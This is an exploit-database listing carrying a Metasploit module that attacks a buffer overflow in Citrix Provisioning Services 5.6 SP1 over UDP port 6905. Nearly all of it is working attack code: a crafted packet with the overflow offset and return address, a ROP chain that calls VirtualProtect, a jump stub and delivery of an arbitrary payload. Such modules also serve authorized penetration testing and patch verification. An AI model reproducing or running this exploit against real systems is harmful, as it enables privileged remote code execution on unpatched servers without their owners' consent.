Author

metasploit

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-17515

Category

remote exploits

Date add

10-02-2012

Platform

windows

##
# $Id: $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Udp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
            'Description'    => %q{
                This module exploits a remote buffer overflow in the Citrix Provisioning Services
                5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
                6905/UDP port.  The module has been successfully tested on Windows Server 2003 SP2,
                Windows 7, and Windows XP SP3.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'AbdulAziz Hariri',             # Initial discovery via ZDI
                    'alino <26alino[at]gmail.com>'  # Metasploit module
                ],
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    ['BID', '49803'],
                    ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-009'],
                    ['URL', 'http://support.citrix.com/article/CTX130846']
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'InitialAutoRunScript' => 'migrate -f',
                },
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                    'EncoderOptions' => {'BufferRegister'=>'ECX'},
                },
            'Platform'       => ['win'],
            'Targets'        =>
                [
                    [ 'Citrix Provisioning Services 5.6 SP1',
                        {
                            'Offset' => 2012,
                            'Ret'    => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
                        }
                    ]
                ],
            'Privileged'     => true,
            'DisclosureDate' => 'Nov 04 2011',  #CTX130846 creation date
            'DefaultTarget'  => 0))
        register_options([Opt::RPORT(6905)], self.class)
    end
    def exploit
        packet =  "\x00\x00\x02\x40" # DATA MSG
        packet << rand_text_alpha_upper(18)
        packet << "\x00\x00\x00\x00" # Length
        packet << rand_text_alpha_upper(target['Offset'])
        packet << [target.ret].pack('V')
        rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
        rop_gadgets =
        [
            0x0045b141, # POP EAX; RETN streamprocess.exe
            0x1009a1bc, # VirtualProtect()
            0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
            0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
            0x004ad0cf, # POP EBP; RETN streamprocess.exe
            0x00455d9d, # PUSH ESP; RETN streamprocess.exe
            0x00497f5a, # POP EAX; RETN streamprocess.exe
            0xfffff9d0, # dwSize
            0x00447669, # NEG EAX; RETN streamprocess.exe
            0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
            0x00426305, # POP ECX; RETN streamprocess.exe
            0x00671fb9, # lpflOldProtect
            0x004e41e6, # POP EDI; RETN streamprocess.exe
            0x0040f004, # RETN streamprocess.exe
            0x00495c05, # POP EAX; RETN streamprocess.exe
            0xffffffc0, # flNewProtect
            0x0042c79a, # NEG EAX; RETN streamprocess.exe
            0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
            0x0045c1fa, # POP EAX; RETN streamprocess.exe
            0x90909090, # NOP
            0x00435bbe, # PUSHAD; RETN streamprocess.exe
        ].pack("V*")
        packet[258, rop_nop.length] = rop_nop
        packet[410, rop_gadgets.length] = rop_gadgets
        packet[494, 10] = "\xeb\x03\x59\xff\xd1\xe8\xf8\xff\xff\xff"
        packet[504, payload.encoded.length] = payload.encoded
        print_status("Trying target #{target.name}...")
        connect_udp
        udp_sock.put(packet)
        handler
        disconnect_udp
    end
end



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